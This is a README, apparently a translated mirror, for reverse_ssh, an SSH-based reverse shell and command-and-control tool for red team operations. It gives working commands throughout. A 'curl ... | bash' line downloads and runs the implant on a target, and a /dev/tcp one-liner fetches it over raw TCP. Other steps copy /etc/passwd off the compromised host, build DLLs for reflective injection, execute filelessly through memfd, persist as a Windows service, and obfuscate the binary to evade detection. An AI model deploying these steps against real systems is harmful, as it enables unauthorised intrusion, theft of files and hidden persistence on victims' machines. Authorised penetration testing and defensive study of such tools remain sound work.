nhas/reverse_sshFerramenta de gerenciamento de shell reverso baseada em SSH com suporte nativo a SCP/SFTP, múltiplos protocolos de transporte, geração de DLL para Windows e execução sem arquivos para operações de red team.
# Reverse SSH
(Crédito da arte para https://www.instagram.com/smart.hedgehog.art/)
Quer usar SSH para reverse shells? Agora você pode.
- Gerencie e conecte-se a reverse shells com sintaxe SSH nativa
- Encaminhamento dinâmico, local e remoto
- Implementações nativas de `SCP` e `SFTP` para recuperar arquivos de seus alvos
- Shell completo do Windows
- Múltiplos transportes de rede, como `http`, `websockets`, `tls` e mais
- Autenticação mútua de cliente e servidor para criar canais de controle de alta confiança
E mais!```text
+----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
```
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [Reverse SSH](#reverse-ssh)
- [TL;DR](#tldr)
- [Setup](#setup)
- [Basic Usage](#basic-usage)
- [Sponsors](#sponsors)
- [Individuals](#individuals)
- [Companies](#companies)
- [Fancy Features](#fancy-features)
- [Privileges](#privileges)
- [Automatic connect-back](#automatic-connect-back)
- [Reverse shell download (client generation and in-built HTTP server)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [Alternate Transports (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
- [Bash autocomplete](#bash-autocomplete)
- [Windows DLL Generation](#windows-dll-generation)
- [SSH Subsystems](#ssh-subsystems)
- [All](#all)
- [Linux](#linux)
- [Windows](#windows)
- [Windows Service Integration](#windows-service-integration)
- [Full Windows Shell Support](#full-windows-shell-support)
- [Webhooks](#webhooks)
- [Tun (VPN)](#tun-vpn)
- [Fileless execution (Clients support dynamically downloading executables to execute as shell)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [Supported URI Schemes](#supported-uri-schemes)
- [Help](#help)
- [Windows](#windows-help)
- [SFTP](#windows-and-sftp)
- [Session spawn errors (0xc0000142)](#session-spawn-errors-0xc0000142)
- [Server started with `--insecure` still has `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
- [Foreground vs Background](#foreground-vs-background)
- [Donations, Support, or Giving Back](#donations-support-or-giving-back)
## TL;DR
### Setup
A versão docker é recomendada, pois inclui a versão correta do golang e um cross compiler para Windows.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
```
ou docker compose:```yaml
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
```
### Uso Básico```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
```
Todos os comandos suportam a flag `-h` para exibir ajuda.
Em seguida, comandos ssh típicos funcionam, basta especificar seu servidor rssh como um host de salto.```sh
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
```
## Patrocinadores
Um enorme obrigado às seguintes pessoas por doarem ao projeto RSSH e tornarem tudo isso possível!
### Indivíduos
[chikamobina](https://github.com/chikamobina) pelas suas generosas doações!
[wrighterase (ctrlzero)](https://github.com/wrighterase) pelos seus pull requests e doação!
### Empresas
[Carapace](https://carapace.nz/) é uma consultoria de segurança baseada na Nova Zelândia com uma equipe extremamente talentosa!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
## Recursos Avançados
### Privilégios
O servidor RSSH suporta privilégios de usuário muito básicos, onde usuários encontrados na pasta `data-directory`/`keys` (especificada por `--datadir`) e.g `data-directory/keys/jim` serão atribuídos como "usuário" apenas capazes de ver clientes que são públicos (encontrados no arquivo authorized_controllee_keys sem uma tag `owners`, ou com uma tag `owners` vazia) ou especificamente atribuídos a eles, e.g `owners="jim"`.
Isso pode ser alterado em tempo de execução por um usuário compartilhando acesso a um cliente que ele possui com o comando `access`, ou por um administrador do servidor. Por padrão, qualquer chave pública encontrada no arquivo `authorized_keys` será marcada como administrador para manter a compatibilidade reversa. Quaisquer alterações feitas pelo comando `access` não persistirão após a reinicialização do servidor, e isso exigirá a edição do arquivo `authorized_controllee_keys` para aquele cliente específico.
### Conexão automática reversa
O cliente rssh permite que você integre um endereço de conexão reversa. Por padrão, o comando `link` irá integrar o endereço externo do servidor.
Se você (por algum motivo) estiver compilando o binário manualmente, pode especificar a variável de ambiente `RSSH_HOMESERVER` para integrá-lo ao cliente:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client
# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232
```
### Download de shell reversa (geração de cliente e servidor HTTP/Raw TCP embutido)
O servidor RSSH pode compilar e hospedar binários de cliente (comando `link`). Este é o método preferido para compilar e servir clientes.
Para que a função funcione, o servidor deve ser colocado na pasta `bin/` do projeto, pois precisa encontrar o código-fonte do cliente.
Por padrão, a versão `docker` já vem com tudo configurado corretamente e é recomendada para uso.```sh
ssh your.rssh.server.internal -p 3232
catcher$ link -h
link [OPTIONS]
Link will compile a client and serve the resulting binary on a link which is returned.
This requires the web server component has been enabled.
--fingerprint Set RSSH server fingerprint will default to server public key
--garble Use garble to obfuscate the binary (requires garble to be installed)
--goarch Set the target build architecture (default runtime GOARCH)
--goarm Set the go arm variable (not set by default)
--goos Set the target build operating system (default runtime GOOS)
--http Use http polling as the underlying transport
--https Use https polling as the underlying transport
--log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED]
--lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set)
--name Set the link download url/filename (default random characters)
--no-lib-c Compile client without glibc
--ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\\USER:PASS
--owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
--proxy Set connect proxy address to bake it
--raw-download Download over raw TCP, outputs bash downloader rather than http
--shared-object Generate shared object file
--sni When TLS is in use, set a custom SNI for the client to connect with
--stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored
--tls Use TLS as the underlying transport
--upx Use upx to compress the final binary (requires upx to be installed)
--use-kerberos Instruct client to try and use kerberos ticket when using a proxy
--working-directory Set download/working directory for automatic script (i.e doing curl https://<url>.sh)
--ws Use plain http websockets as the underlying transport
--wss Use TLS websockets as the underlying transport
-C Comment to add as the public key (acts as the name)
-l List currently active download links
-o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson
-r Remove download link
-s Set homeserver address, defaults to server --external_address if set, or server listen address if not
# Generate a client and serve it on a named link
catcher$ link --name test
http://your.rssh.server.internal:3232/test
```
Então você pode baixá-lo da seguinte forma:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test
```
Ou você pode usar TCP bruto para baixar o binário do cliente:```sh
bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test
```
O formato para isso é apenas `RAW` seguido do nome do arquivo, ou seja, neste caso `test`, o rssh pode gerar isso automaticamente para você com `--raw-download`.
O servidor RSSH também suporta terminações de caminho de URL `.sh`, `.py` e `.ps1` que gerarão um script que você pode canalizar para um interpretador:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh
```
### Transportes Alternativos (HTTP/Websockets/TLS)
O servidor SSH reverso e o cliente suportam múltiplos transportes para quando a inspeção profunda de pacotes bloqueia o SSH de saída de um host ou rede.
Você pode especificar o esquema de conexão de retorno manualmente, especificando-o como uma url no cliente.
E.g```sh
./client -d ws://your.rssh.server:3232
```
Ou incorporando-o com o comando `link`.```sh
ssh your.rssh.server -p 3232 link --ws --name test
```
### Bash autocomplete
O servidor RSSH possui o comando `autocomplete` que se integra bem com o bash para que você possa ter autocompleções quando não estiver usando o console do servidor. Para instalá-las, basta fazer:```sh
ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232
```
E isso retornará uma autocompletação que pode ser adicionada ao seu `.zshrc` ou `.bashrc`
Ex.:```sh
_RSSHCLIENTSCOMPLETION()
{
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}
_RSSHFUNCTIONSCOMPLETIONS()
{
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}
complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232
complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill
```
Permitindo que você faça completions diretamente do seu terminal:```sh
# Will give you an option based on what clients are connected
ssh -J your.rssh.server.internal:3232 <TAB>
```
### Geração de DLL para Windows
Você pode compilar o cliente como uma DLL para ser carregada com algo como [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1). Isso é útil quando você deseja fazer injeção sem arquivo (fileless) do cliente rssh.
Isso exigirá um cross compiler se você estiver fazendo isso no Linux, use `mingw-w64-gcc`, isso está incluído na versão docker.```bash
# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll
# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
```
### SSH Subsystems
The SSH protocol supports calling subsystems with the `-s` flag. In RSSH this is repurposed to provide special commands for platforms, and `sftp` support.
#### All
`list` Lista subsistemas disponíveis
`sftp`: Executa o manipulador sftp para transferir arquivos
#### Linux
`setgid`: Tenta mudar de grupo
`setuid`: Tenta mudar de usuário
#### Windows
`service`: Instala ou remove o binário rssh como um serviço do windows, requer direitos administrativos
ex.```sh
# Install the rssh binary as a service (windows only)
ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install
```
### Integração com Serviço Windows
O binário cliente RSSH suporta ser executado como um serviço do Windows e não irá expirar após 10 segundos. Isso é ótimo para criar serviços de gerenciamento persistentes.
### Suporte Completo a Shell do Windows
A maioria dos shells reversos para Windows tem dificuldade em gerar um ambiente de shell que suporte redimensionamento, cópia e colagem e todos os outros recursos que tanto apreciamos.
Este projeto usa `conpty` em versões mais recentes do Windows, e a biblioteca `winpty` (que se extrai automaticamente) em versões mais antigas. Isso significa que quase todas as versões do Windows lhe fornecerão um shell de qualidade.
### Webhooks
O servidor RSSH pode enviar requisições HTTP brutas configuradas usando o comando `webhook` da interface do terminal.
Primeiro, habilite um webhook:```bash
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/
```
Em seguida, desconecte ou conecte um cliente; isso irá emitir uma requisição `POST` com o seguinte formato.```bash
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%
```
Como nota adicional, use o endpoint `/slack` se estiver conectando isso ao discord.
### Tun (VPN)
RSSH e SSH suportam a criação de interfaces tuntap que permitem rotear tráfego e criar uma pseudo-VPN. É necessário um pouco mais de configuração do que apenas um encaminhamento local ou remoto (`-L`, `-R`), mas neste modo você pode enviar `UDP` e `ICMP`.
#### Aviso Importante
Se você se conectar a um cliente RSSH malicioso, ele será capaz de se conectar de volta ao seu dispositivo de túnel. Por isso, é importante não ter o encaminhamento ativado e ter regras de firewall para parar quaisquer conexões à máquina local, ou executar isso dentro de um container/netns.
Instale um cliente em uma máquina remota; isso não funcionará se você tiver seu cliente RSSH no mesmo host que seu dispositivo tun.```sh
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any
sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0
```
Isso tem algumas limitações, só é capaz de enviar `UDP`/`TCP`/`ICMP`, e não protocolos arbitrários da camada 3. O `ICMP` é de melhor esforço e pode usar a ferramenta `ping` do host remoto, pois ICMP sockets são privilegiados na maioria das máquinas. Isso também não suporta dispositivos `tap`, por exemplo VPN de camada 2, pois isso exigiria acesso administrativo.
### Fileless execution (Clientes suportam baixar dinamicamente executáveis para executar como shell)
Ao especificar qual executável o binário rssh deve executar, seja ao conectar com uma sessão PTY completa ou raw execution, o cliente suporta esquemas URI para baixar executáveis offhost.
Por exemplo.```sh
connect --shell https://your.host/program <rssh_client_id>
ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program
```
#### Esquemas de URI Suportados
`http/https`: Download puramente web
`rssh`: Download via servidor rssh
O servidor rssh servirá conteúdo do diretório `downloads` no diretório de trabalho do executável.
Ambos os métodos usarão oportunisticamente [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) que não gravará nenhum executável no disco.
# Ajuda
## Windows
### SFTP
Devido às limitações do SFTP (ou melhor, da biblioteca que estou usando para ele). Os caminhos precisam de um pouco mais de esforço no windows.```sh
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'
```
Note the `/` before the starting character.
## Erros de spawning de sessão (0xc0000142)
Em algumas circunstâncias de execução, conectar-se a um cliente RSSH no Windows pode falhar sem erro.```sh
catcher$ connect windows-system
Session has terminated.
```
Registos do cliente:```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected
```
Existem duas causas comuns para isso, sendo a primeira o antivírus ter eliminado o powershell gerado, e a outra `0xc0000142` é quando o processo resultante não tem permissões para acessar a Estação ou Área de Trabalho do Windows [fonte](https://stackoverflow.com/questions/677874/starting-a-process-with-credentials-from-a-windows-service/30687230#30687230).
Para determinar qual está causando esse problema, execute qualquer comando sem um pty:```sh
ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142
```
Se você vir o código de erro `0xc0000142`, tente iniciar o `CMD.exe` e forçar a alocação de um pty (`-t`):```sh
ssh -t -J rssh windows-system CMD.exe
```
Isto deve iniciar um shell interativo.
## Servidor iniciado com `--insecure` ainda tem `Failed to handshake`
Se o binário do cliente foi gerado com o comando `link`, este cliente tem a impressão digital da chave pública do servidor incorporada por padrão. Se você perder sua chave privada do servidor, os clientes não poderão mais se conectar.
Você também pode gerar clientes com `link --fingerprint <fingerprint here>` para especificar uma impressão digital, atualmente não há como desabilitar isso a partir da versão 1.0.13.
## Primeiro plano vs Segundo plano
Por padrão, os clientes serão executados em segundo plano e o processo pai será encerrado; o processo filho receberá o stdout/stderr do processo pai, para que você possa ver a saída. Se precisar depurar seu cliente, use a flag `--foreground`.
# Doações, Suporte ou Retribuição
A maneira mais fácil de retribuir ao projeto RSSH é encontrando bugs, abrindo solicitações de funcionalidades e divulgando-o boca a boca para pessoas que você acha que acharão útil!
No entanto, se você quiser retribuir algo diretamente a mim, pode fazê-lo através do Kofi ou do Github Sponsors (em "Sponsor this Project" no lado direito).
Ou doe para mim enviando para uma das seguintes carteiras:
Monero (XMR):
`8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND`
Bitcoin (BTC):
`bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr`